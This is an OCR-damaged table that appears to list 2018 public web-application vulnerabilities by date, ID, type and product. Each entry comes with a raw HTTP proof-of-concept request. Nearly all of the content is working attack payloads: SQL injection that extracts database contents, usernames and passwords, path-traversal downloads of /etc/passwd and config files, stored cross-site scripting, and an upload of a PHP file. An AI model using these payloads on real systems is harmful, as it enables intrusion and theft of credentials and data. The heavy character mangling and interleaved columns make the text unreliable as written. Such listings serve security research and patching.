1)+UNIONAALL+SELECT+nul |, nul |, nul |, CONCAT_WS(0x203a20, USER() , DAT
ABASE() ,VERSION() ) —+-&keywords=1 HTTP/1.1
Host: 192.168.1.27
10— KORA 2.7.0 - 'cid' SQL User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
2018-10-15 45613 SQL Injection Pl L Injection Gecko/20100101 Firefox/45.0 KORA KORA 2.7.0
Accept
text/html,application/xhtml+xml ,application/xml:q=(
Accept-Language: en-US.en:a=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
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SQL Injection

GET
/gestione_utenti.php?modif ica_gruppi=SI&id_utente_mod=%31%27%20%
%4 1%43%54%56%4 1 3%4 %4
0de%ba3%d 1%54%5f 8
( 19654%41%42%4 1%53%

1
©%A43%41%54%28%3C
0%3346 1

HotelDruid 2.2.4 - 'anno’ SQL
Injection

HTTP/1.1

Host: 192.168.1.27

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

HotelDruid

HotelDruid
2.2.4

2018-10-16

45615

File Upload

Navigate CMS 2.8.5 -
Arbitrary File Download

/navigate_download.php?wid=1&id=../../../cfg/globals.php

/navigate_download.php?wid=1&id=../../../../../../../../Windows/

win.ini

Navigate CMS

Navigate CMS
2.8.5

2018-10-16

45616

Cross-Site Scripting

Library CMS 2.1.1 - Cross—
Site Scripting

POST /admin/book/create/ HTTP/1.1

Host: 10.0.100.

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: application/json, text/javascript, =/
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Referer: https://TARGET/admin/book/create/
Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest

Content-Length: 332

Connection: close

q=0.01

DO%OA%D 1%B83%D0%BFLD0%BB%D 1%82%0 1%80=&t i t | e=" scr ipth3Eal
ert(%22Ismai |+Tasdelen%22)%3C%2Fscr ipt%3E&rat ing=dsubt it le=gur |=
&ISBN10=&ISBN13=8edi t ion=&pub| ishingYear=8pages=&type=Digi tal&ph
ysicalForm=Book&size=Huge&binding=Hardcoverapr i ce=&| anguage=&des
cription=8notes=&cover |d=&eBook | d=8metaTit |e=GmetaKeywor ds=gmeta
Desor iption=

Library CMS

Library CMS
2.1.1

SQL Injection

Kados R10 GreenBee —
‘release_id' SQL Injection

GET
/boards_but tons/update_release.php?re|ease_id=%2d%31%20%20%55%4e
%49%4 f %4e%20%53%45%4C%45%43%54%20%3 1%2C%43%4 f e 3%4 1%54%5 f %57%

1%654%4

1%42%41 %53%49%4 f
0%2d HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,#/*:q=0.8
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=qkb8r jor2kudi2vp2tufSqdot7

Connection: keep-alive

Kados R10 GreenBee

Kados R10
GreenBee

2018-10-16

45618

SQL Injection

Vishesh Auto Index 3.1 -
# ® 'fid" SQL Injection

GET /file.php?fid=—

1%20Un | oN%20seL ECt%20112115%2¢112115%2¢112115%2¢112115%2¢112115%

2c112118%2c(sel ECt (@x) fROM(se | ECt (@x:=0x00)%2¢(@r UNNing_nuMBer :=

0)%2c(@tb1 :=0x00)%2c(se 1ECt (0) fROM(infoRMAT i on_schEMa. coLUMns JwH

Ere(tABLe_schEMa=daTABase( ) )aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb!

!=tABLe_name)%2cConcat (LPAD(@r UNNing_nuMBer :=@r UNNing_nuliBer %2b 1
0)! | :=tABLe_naMe (@2:=0x00) )%2c%200x

00)%2c| pad(@z:=02%2b )

column_name%2c0x3c62723e) ) ) )x)%2c112115%2¢ 112115%2¢112115%2¢ 1121

15%2¢112115%2c112115%2d%2d%20Efe HTTP/1.1

Host: 192.168.1.27

User-Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html ,application/xhtml+xml,application/xml:g=0.9,*/*
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=nk7bSobkr uk2r td2kbm3gamg42

Connection: keep-alive

Vishesh Auto Index

Vishesh Auto
Index 3.1

Cross-Site Scripting

WordPress Plugin Support
Board 1.2.3 - CrossSite
Seripting

POST /wp-admin/adnin-ajax.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: */x

Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Referer: https://TARGET/chat/

Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest

Content-Length: 450

Connection: close

action=sb_ajax_add_message8msg=&f i | es=ht t psk3A%F%2F TARGET%2Fwp—
content2Fup | oadsk2Fsuppor tboar d%2F7076509 1%2F%22%3E%3Cimgtsr ckd
Dxtonerrort%3Daler t(%22ismai | tasdelen22)%3E . jpg%7CH2%3ERICingts
rc%3Dx+oner rort%3Daler t (%22ismai | tasdelent22)%3E . jpg&t ime=10%2F 15
%62F2018%2C+4%3A23%3A42+PMauser _i d=7076509 18user _img=ht tpsk3A%2F%
2Fboard. suppor t%2Fwp—

content®2Fup | oadsk2F2017%2F07%2Fuser . jpg&user_name=James+Ni | son&
user_type=user&environment=wp&sb_|ang=

WordPress Plugin
Suppor t Board

WordPress
Plugin
Suppor t Board
1.2.3

45620

SQL Injection

Rukovoditel Project
Management CRM 2.3 - 'path’
SQL Injection

GET /index.php?module=items/infodpath=1-

1%27+%20and%20 ( SELect%201%20 fROM%20 (SELect%20c0UNt (*) , conCAT( (SE
Lect (sELect%20conCAT (cast (daTABase ()%20as%20char ) , 0x7e) ) %20fROm%
20inforMATion_SCHema. TABI es:20wher e%20TAB| e_SCHema=daTABase  )%20
1imit%200, 1), f loor (rand(0)+2) )x%20fROm%20inforMATion_SCHema. TABI

g 0x)a) %20ANC TEfe%27=%27Efe HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml,application/xml;g=0.9,#/*:q=0.8
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Cookie: cookie_test=please_accept_for_session:

$id=01009mn52bt 17 fpchg?r inmsd7

Connection: keep-alive

¢ Linux x86_64: rv:45.0)

Rukovodi tel
Project Management
CAM

Rukovodi tel
Project
Management
CRM 2.3
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2018-10-16

45621

sQL Injection

& & MV Video Sharing Software 1.2
- 'searchname’ SQL Injection

POST /search.php HTTP/1.1
Host: 10.0.100.24
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:g=0.9,*/;
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 404

+ Linux x86_64: rv:45.0)

sear chname=5%2

43%4  Rde%d3nd 1%54%28%A43%4 f hdethd 3nkd 1%654%5 1 %657%53%28%30%78%32%630%3

3%61 1%54%41%42%4 1

4c%2d%2d%20%45%66%65

MV Video Sharing
Software

MW Video
Shar ing
Software 1.2

45622

SQL Injection

GIU Gallery Image Upload
0.3.1 - 'category' SQL
Injection

GET
/index.php?categor

Ilery | lect+0x496873616

16e%2c(SEl ect (@x)From(SE lect (@x:=0x00)%20%2c (SE | ect (@x)From(user
JWHERE (@x) IN(@x:=COncaT ( 36572666 ul
11 0x3c62723e506173733a20%20L d%2c0x3c62723e) ) ) ) x)%2c
0x4968736 166536566636 16e%2c0x4968736 166536566636 16e—+— HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

GIU Gal lery Image
Upload

GIU Gallery
Image Upload
0.3.1

45628

Cross-Site Scripting

& BigTree CMS 4.2.23 - Cross—
Site Scripting

POST /admin/ajax/file-browser /upload/ HTTP/1.1
Host: 10.0.100.24
User-Agent: Mozilla/5.0 (X11
Gecko/20100101 Firefox/60.0
Accept :

text/html ,application/xhtml+xml,application/xml;
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Referer: https://TARGET/admin/pages/add/0/
Content-Type: multipart/form-data: boundary=-——-——-—————-——
15148507251045999311737722822

Content-Length: 1574699

Connection: close

Upgrade-Insecure-Requests: 1

i Linux x86_64: rv:60.0)

0.9, %/*

*********** —15148507251045999311737722822
Content-Disposition: form-data;
name="__csr f_token_B2FHVMV8 15XHACNVBRVV2BTX 1IEH1YEHE__"

tNvtUi8PU/ IDcraxj 1t/Uv/ 1ci YeF7Auds | XD429hkQ=
- 151485072510459993 11737722822
Content-Disposition: form-data; name="folder"

0

— —151485072510459993 11737722822
Content-Disposition: form-data: name="files[]":
filename="#"><img src=x onerror=alert(W"ismailtasdelen")>.jpg"
Content-Type: image/jpeg

BigTree CMS

BigTree CMS
4.2.23

45633

SQL Injection

Time and Expense Management
System 3.0 - 'table’ SQL
Injection

POST /core/control ler /UpdateBORequest .php HTTP/1.1
Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: en-US.en;0=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=3i34gubBub4dk3;hjthinive22
Connection: keep-alive

Content-Type: app|ication/x-www-form-ur |encoded
Content-Length: 230

action=EditUser&uid=1&ful Inane=Administrator_Editemail=admin@ad
min.com&title=Administrator_Edit&joindate=10%2F 17%2F2018&repor t t
o=admin&user group=&| anguage=ENG&dateformat=MDY&status=10&debugle
ve|=38dbtracelevel=0&preview_receipt=1

Time and Expense
Management System

Time and
Expense
Management
System 3.0

45635

SQL Injection

Learning with Texts 1.6.2 —
* ® 'start' SQL Injection

GET

/do_text .php?star t=1%20aND%20( SeLecT%2066%20F r oll( SeLecT%20couNT (
+),coNcaT (CONCAT_WS(0x203a20, USER( ) , DATABASE () ,VERSION()) , (SeLec
T%20(eLT(66=66,1))),0x716b6b6a7 1, FLoor (raND(0)*2) ) x%20F r oM%20 INF
orMaT | oN_ScHeMa . PLUGINS%20Gr ouP%208Y%20x )a)

HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Length: 1243

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Learning with
Texts

Learning with|
Texts 1.6.2

2018-10-18

45637

sQL Injection

OwnTicket 1.0 - 'TicketID'
SQL Injection

GET

/index.php?showT i cket | d=32d%3 1%27%20%20%55%4e%49%4 { %4e%28%53%45%
45458

41 %4ehd3%4 1%54%5 0 61 0%2c

1%654%41%42%4 1

53%49%4 f

1 1%31 1%34
%29%29%2d%20%20%2d

HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html ,application/xhtml+xml,application/xml:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=fhk7291g8ki4c9d1124pbh8an2
Connection: keep-alive

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html: charset=UTF-8

0.9, %/*

OwnTicket

OwnTicket 1.0
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GET /example.php?mte_a=edit&id=—
18+UN| on(SE | eCT+0x4968736162053656e636 16e%20x4968736 166205365
66636 166%200x4968736 36 1
66%2c0x4968736 16620 160)—
+= HTTP/1.1
Host: 10.0.100.24
User-Agent: Mozil1a/5.0 (Windows NT 6.1 WOWS4; rv:55.0)
Gecko/20100101 Firefox/55.0
. WySQL Edit Table 1.0 - 'id" [Accept: . MySQL Edit
181022 | 45639 SQL Injection 2 ® SaL Injection text/ntnl appl icat ion/xhtm I+l appl cat on/xnl :a=0.9, x/xiq=0.8 | WA EATLTabIC | ppr T
Accept-Language: tr-TR, tr:a=0.8,en-USi0=0.5,en:q=0.3
Accept-Encoding: gzip, def late
Gookie: PHPSESSID=0v2bam10m5r 1phB63ti f1tt17
Connection: keep-alive
Upgr ade-I nsecur e-Requests: 1
Content-Length: 3642
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
2018-10-22 | 45642 File Upload 5 & SC,:'(?:"E:(Py UF‘“I'gaD‘:wnz‘%‘; Jof fice_admin/download. php?document=.../../.. /.. /.. [etc/passd School ERP Uﬁci"miﬁ‘e?[;e
POST /main.php HTTP/1.1
Host: 10.0.100.24
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml,application/xml;:q=(
Accept-Language: en-US,en:g=0.5
Accept-Encoding: ozip, def late
Connection: keep-alive
Content-Type: app|ication/x—www-form-ur |encoded
— The Open ISES Project 3.30A - The Open ISES  [The Open ISES|
2018-10-22 45645 SQL Injection 2 L3 ok lat’ SOL Injeotion |Content-Lenath: 241 Project Project 3.30
Content-Length: 241
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
frm_passwd=') anD (SELect 155 FroM(SELECT
ount () ,COncaT (conCAT (0x203a20, UseR( ), Dat ABASE () VEr S oN() ) ,0x7
e, (seleCT
(elT(155=155,1))) ,0x49687361662053656e636 16e. f |00R(RANd(0) +2) )x
frOM INFormAT|ON_SChEMA.PLugINS GroUP BY x)a) And ('Efe'='Efe
GET /student_staff/7pid=548act ion=staff_timetable&f i
43 19620%75%BeHATHB {AcHh0%7 FeASHBOHATHEINT 4%20%3 %26 se | ECH (@x) R
Om(selECt (@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c (@tb1 :=0x00)%2c(se|
ECt(0) fROM( infORMAT ion_schEMa. coLUNns )HET e( tABLe_schENa=daTABas
&())aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb| |=tABLe_name)%2cConcat (L
PAD(@r UNNi ng_nuliBer : =6r UNNi ng_nuliBer %2b 1%2c2%2c0x30) %200x303d3e%
206181 :=tABLe_naMe%2c (@z:=0x00) )%2c%200x00)%2¢ | pad(@z:=6z%2b 1%20
0x30) 0x3d3¢ 0, |umn_name 0x3c62723¢
)))x)%2c33R20%220%2d HTTP/ 1.1
ot School ERP Ultimate 2018 — [Host: 10.0.100.24:1004 School ERP School ERP
20181022 | 45646 SQL Injection 2 ® "fid' L Injection User-Agent: Mozilla/5.0 (X11: Linux x86_64: rvi45.0) Ultimate Ultimate 2018
Gecko/20100101 Firefox/45.0
Accept
text/html,application/xhtml+xml ,application/xml:g=0.9,*/*:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, def late
Cookie: PHPSESSID=nno0 1rkujOalOk 1sb96uhgTval
Connection: keep-alive
Content-Length: 68790
Connection: Keep-Alive
Content-Type: text/htnl; charset=UTF-8
GET
/mod.php?mod=pub | i sher&op=viewar t icle8ar tid=12%27| | (SeleCT#20%27
Efe%27%20F r ols200UAL%20NeRE20 110=110%20AnD%20( seLECT%20 1 124201
rOM(SE | ecT%20CouNT (*) , ConCAT (CONcat (0x203a20, UseR( ), DAtaBASe () ,V
ErsION()), (SeLEct%20(ELT(112=112,1))) ,FLooR(RANA(0) x2) ) x20FROMS
20INFOrmat |ON_SChEMA. PuGINS%20gr 0Up%20BY%20x)a) ) | %27 HTTP/1.1
Host:10.0.100.24:1004
2018-10-22 45654 SQL Injection & & e‘Ndones‘\a Portal 8.7 - User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0) eNdonesia Por tal eNdonesia
artid' SQL Injection  |Gecko/20100101 Firefox/45.0 Portal 8.7
Accept :
text/html,application/xhtml+xml ,application/xml:q=0.9,*/*:q=0.8
Accept-Language: en-US.en:0=0.5
Accept-Encoding: ozip, deflate
Connection: keep-alive
Connection: Keep-Alive
Transter-Encoding: chunked
Content-Type: text/html: charset=UTF-8
/ajax/download.php?filename=. ./config.php&or i gname=&type=
The Open ISES Project 3.30A - The Open ISES|
2181022 | 45655 File Upload 2 ® Arbitrary File Oownload |/ajax/download.pho?filename=. ./.../../../. . /Mindows/win.inidorign| 1° %" 155 lproject 3,304
ame=&type=
POST /repeat_ver i fy-n.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: HMozil1a/5.0 (X115 Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/htmlapplication/xhtml+xnl ,application/xnl:=0.9,+/x:a=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Viva Visitor & Volunteer 1p |Connection: keep-alive Viva visitor g | % isttor
18-10-22 | 45656 SQL Injection ) £ Tracking 0.95.1 — ' fname’ SqL |Content=Type: application/x-ww~form-urlencoded volunteer 10| | ?r:x?z;
Injection fnane-X2oXe22 TN TNET20Un | ONK20Se | ECHH20nuLLKgenuL Li@eCoNCat (s| 120%™ 0.95.1
@|ECt (@x) fROm(se | ECt (@x :=0x00)%2c(@rUNNing_nuMBer :=0)%2c(@tb! :=0
x00)%2¢(selECt (0) fROm( infoRMAT ion_schEMa. coLUMns JwHEr e ( tABLe_sch
ENa=daTABase( ) )aNd(0x00) in(6@x:=Concat (éx%2ci f ((@tb| 1=t ABLe_name)
%2cConcat (LPAD(@rUNNing_nuMBer :=8rUNNing_nuMBer 2b 1%2¢2%2¢0x30)%
200x30803%2001B1 :=tABLe_nallet2c (02:=0x00) )%2c%200x00) %26 | pad 6z
=02%2 3 43e%2c0x4b6f _namesk2
€0x3c62723e))))x) )%2cnul L%2enul L%2enul Lk2enul L%2enul Ls2cnulL—
%0Efe




A WebffEss 1 b > R
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N(20184E5E4M4:HA)

GET
/index.php?p: ject_allocati 0%20%55
HACHATA 446%20% 19ACHACKOORE IMABHACTATIATSA%20%3 TH2CHATHA 4
43%41%54%5 %5
1H54%4 1%42%4 1 WG4 (4628
%29R2%20%20%208se | ect ion_type=al locate_new_subject&token=61241a
abc24 1001 15671 2ee2eb96051 HTTP/1.1
Appsour ce
2018-10-23 | 45657 SQL Injection Appsource School Management oy 19 o 100.24:1004 Appsource School School
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0) Management System | Management
Gecko/20100101 Firefox/45.0 System 1.0
Accept :
text/html application/xhtml+xn| ,app|ication/xml:q=0.9,*/*:¢=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Cookie: __test=0873e299cd6c3e39a7898a55d9894bc6
PHPSESS ID=6ac2af ef 1b06c03438ade 380554175
Connection: keep-alive
POST
/10.0.100.24/admin/modu | /mod_pengurus/aksi_pengurus.php?module=p
engurus8act=update HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html appl ication/xhtml+xnl,app|ication/xml:q=0.9,*/*;¢=0.8
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate
. Cookie: PHPSESSID=sbl43odBcSceerei fi8qidnd23
-10-23 | 45659 File Upload SIN-PRH 2.4.1 ~ ATLaTY | connect ion: keep-alive SINPKH | SIN-PKH 2.4.1
Content-Type: multipart/form-data: boundary=
—————--1045361384435 1558052030056362
Content-Length: 261
104536138443
Content-Disposition: form-data: name="fupload":
filename="phpinfo2.php"
Content-Type: application/force-down|oad
<?php
phpinfo():
>
104536138443 —
. School ERP
2018-10-23 45662 File Upload School ERP ProtResponsive 1.0|qt¢ice agmin/download. php?docunent=../../../. ./ . ./etc/passud School ERP ProtResponsiv|
- Arbitrary File Download o 1.0
GET /student_staff/?pid=548act ion=staff_timetable&fid=—
%3 1%20%75%6e%49%6  %4e%20%7 hA5K6CHAEXE3%74%20%3 1%2¢ (se | ECt (@x) R
Om(selECt (@x:=0x00)%2c(@rUNNing_nuMBer :=0)%2c (@tb1 :=0x00)%2c(se|
£Ct(0) fROM( infoRMAT ion_schEMa. coLUlins JwHE T e  tABLe_schEMa=daTABas
&())aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb| |=tABLe_name)%2cConcat (L
PAD(@rUNNing_nuMBer : =0 UNNi ng_nullBer %2b 1%202%2c0x30)%200x303d3e%
2c@tB| :=tABLe_ naMe%Zc(@z =0x00) )%2¢%200x00)%2¢ | pad (@z: =0z%2b 1%2c
10)%2c0x3d3 | umn_name%2c0x3c62723¢
))))X)%ZC%BS%ZG%ZG%ZO%ZG HTTP/1.1 School ERP
2018-1023 | 45663 |  SQL Injection Schoo] ERP Protiespansive 1.0 School ERP o Responsiv
Host: 10.0.100.24:1004 Protfiesonsive e 1.0
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml ,application/xml:g=0.9,*/*:q=0.8
Accept-Language: en-US,en;a=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=nno01rkuj0qlOk1sb6ungival
Connection: keep-alive
GET /smdem slaﬂ/%\d 54&acuon staff_tinetable&fid=—
%31%2 0%31%2c (se |ECt (@x) R
Om(se\ECt(@x -OxOO)%Zc(@rUNng nuMBer :=0)%2¢(@tb| :=0x00)%2c (sel
ECt(0) fROm( infoRMAT ion_schEMa. coLUMns JwHEr e ( t ABLe_schEMa=daTABas
e())aNd(0x00) in(@x:=Concat (@x%2ci f ((@tb !=tABLe_name)%2cConcat (L
PAD(@rUNNing_nuMBer : =0r UNNi ng_nullBer %2b 1%202%2c0x30)%200x303d3e%
20@1B| :=tABLe_naMe%2c(@z:=0x00) )%2c%200x00)%2c | pad (@2 : =2%2b 1%2c
2%2c0x30)%2c0; umn_s 2c0x3c62723e
1)))x)%2c%33%2d%2d%20%2d HTTP/1.1
2018-10-23 45664 SQL Injection SIM-PKH SIN-PKH 2.4.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xnl .app!ication/xml:
Accept-Language: en-US,en:q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=nno01rkujOqlOk 1sb96uhgivat
Connection: keep-alive
GET
/emai | .php?id=admin%27+tuniOn+se|Ect+(se|ECE (@) fROm(se ECE (@x:=
0x00)%2c (@r UNNi ng_nubBer :=0)%2c(@tb| :=0x00)%2c(se ECt (0) fROm( inf
ORMAT i on_schEMa.. coLUMns )wHEr e  tABLe_schEMa=daTABase () )aNd(0x00) i
n(@x:=Concat (@x%2ci f ((@tb| |=tABLe_name)%2cConcat (LPAD(@rUNNing_n
uMBer :=@r UNNi ng_nuMBer %2b 1%2c2%2c0x30) %2c0x303d3e%2ctB | :=tABLe_
+=0x00)) 00x00)%2¢ | pad (@2 =B2%2b )%2c0%
%2c0x3c62723e) ) ) ) x)%2c%32%2 MGB
2018-10-23 45665 SQL Injection c%33%2d%2d%20%2d HTTP/1.1 MGB OpenSour ce OpenSour ce
Guestbook Guestbook
Host: 10.0.100.24:1004 0.7.0.2
User—Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html ,application/xhtml+xml.application/xml:q=0.9,%/+:
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
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2018-10-24

45666

SQL Injection

SG ERP

1.0 - "info" SQL

GET /index.php?mod=estabot=tes3&info=—
4++uniOnt+se | ecT+0x4968736 16e%200x4968736 16e%2c (se | ECt (@x) fROM(s
©ECt (Ex:=0x00)%20(@r UNNing_nubBer :=0)%2¢ (@tb1 :=0x00)%2c (se IECt (
0) fROM(infORMATion_schEMa. coLUMns )wHEr e ( tABLe_schEMa=daTABase())
aNd(0x00) in(@x:=Concat (@xt2ci f ((@tbl =tABLe_name)%2cConcat (LPAD(
@rUNNing_nuMBer :=r UNNing_nuMBer%2b 1%2c2%2c0x30) %2c0x303d3e%2cat
81 :=tABLe_naMle%2c (@z:=0x00) )%2c%200x00) %2¢ | pad(@z:=0z%2b 1%2c2%20
0 1

0x30)%2c0x3d! LI 0x3c62723¢))))
X)%2c0x4968736 166%2c0x4968736 16%2c0x4968736 166%2c0x4968736 166%2
©0x4968736 3 3 '3616e%2c0x4
968736 6 6 6

3616e%2c0x4968736 16e%2c0x4968736 16e%2c0x4968736 16e%2c0x4968736 16

Injection

36 36 16e%2c
0x496873616e%2c0x4968736 16e— HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: en-US.en:0=0.5
Accept-Encoding: ozip, deflate

Cookie: PHPSESSID=dvctab6luqcp733fom5asvaru7
Connection: keep-alive

RERVAH:

SG ERP

SG ERP 1.0

2018-10-24

45667

SQL Injection

Fifa Master XLS 2.3.2 - ‘usw'
SQL Injection

GET /chat .php?act ion=chatname8usw=-

%27+tUNiOn+SE | ecT++(seLEcT(@x)FRom(SE ecT (@x:=0x00)%20, (sELeCt (@
x) fRom( f_user )whERe (@x) In(@x:=conCat (0x20, x, 0x557365726e6 164653
a20, userName, 0x3c62723¢, 0x506173733a20 , user Passwor d, 0x3c62723e) )
))x)==+= HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept

text/html,application/xhtml+xml ,application/xml;g=0.9,*/*:q=0.8
Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=io5hsssef717nich1si2gk99ks

Connection: keep-alive

Fifa Master XLS

Fifa Master
XS 2.3.2

2018-10-24

45668

Cross-Site Scripting

Axioscloud Sissiweb Registro
Elettronico 7.0.0 -
‘Error_

desc' Cross-Site
Scripting

Error_Desc= i 01 0Val i daa%3Chody%200n |oad=%22al er t (%27
ok%27) :%22%3E&ErTor_Parameters=

Axioscloud
Sissiweb Registro
Elettronico

Axioscloud
Sissiweb
Registro

Elettronico

2018-10-24

45672

Cross-Site Scripting

LANGO Codeigniter
Multilingual Script 1.0 -
Cross-Site Scripting

POST /lango/admin/settings/update HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0

Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,#/*:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

Referer: http://TARGET/Iango/adnin/settings
Content-Type: multipart/form-data; boundary=
1809890829 11182658591910516947
Content-Length: 3150615

Cookie: csrf_cookie_name=4eeae5fcalledae108d667b67b52a003;
ci_session=7ghut1a49nSethf596t6gtectkfscncp

Connection: close

Upgrade-Insecure-Requests: 1

1809890829111 8591910516947
Content-Disposition: form-data: name="site_name"

"><hi>Ismail Tasdelen</h1>

1809890829111 8591910516947
Content-Disposition: form-data: name="site_title"

"><hi>Ismai | Tasdelen</h1>

—180989082911182658591910516947
Content-Disposition: form-data: name="keywords"

Multilanguage ,Codeigniter Multilanguage Script,"><h1>Ismail
Tasdelen</h1>

1809890829111 1910516947
Content-Disposition: form-data; name="description”

"><h1>Ismail Tasdelen</h1>

1809890829111 1910516947
Content-Disposition: form-data: name="photo1": filename="#"><img
sre=x onerror=alert(W"ismai | tasdelen")>. jpg"
Content-Type: image/jpeg

LANGO Codeigniter
Multilingual
Script

LANGO
Codeigniter
Multilingual
Seript 1.0

2018-10-25

45681

Cross-Site Scripting

Ekushey Project Manager CRM
3.1 - Cross-Site Scripting

POST /demo/ekushey/index.php/adnin/client/create HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozil1a/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept :

text/html,application/xhtml+xm| .application/xml:q=
Accept-Language: en-US.en:0=0.5

Accept-Encoding: gzip, deflate

Referer: http://TARGET/demo/ekushey/index.php/admin/client
Content-Type: multipart/form-data: boundary=
——19725691145690149721005243204
Content-Length: 1576033

Connection: close
Upgrade-Insecure-Requests: 1

*f%

19725691145690149721005243204
Content-Disposition: form-data: name="name"

"><script>alert(“ismailtasdelen’)</script>
—-19725691145690149721005243204
form-data: name="email"

Content-Disposition

test@ismailtasdelen.me

—————19725691145690149721005243204
Content-Disposition: form-data: name="password"

PasswOrd

—— 1972569 114569014972 1005243204
Content-Disposition: form-data: name="address"

Ekushey Project
Manager CRM

Ekushey
Project
Manager CRM
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"><seript>alert("ismailtasdelen”)</script>

—————19725691145690149721005243204
Content-Disposition: form-data: name="phone"
4100200300205

——1972569 114569014972 1005243204
Content-Disposition: form-data: name="website"
https://ismail tasdelen.me
— —-———19725691145690149721005243204
Content-Disposition: form-data: name="skype_id"

ismai | tasdelen

—=19725691145690149721005243204
Content-Disposition: form-data: name="facebook_profile_link
ismai | tasdelen

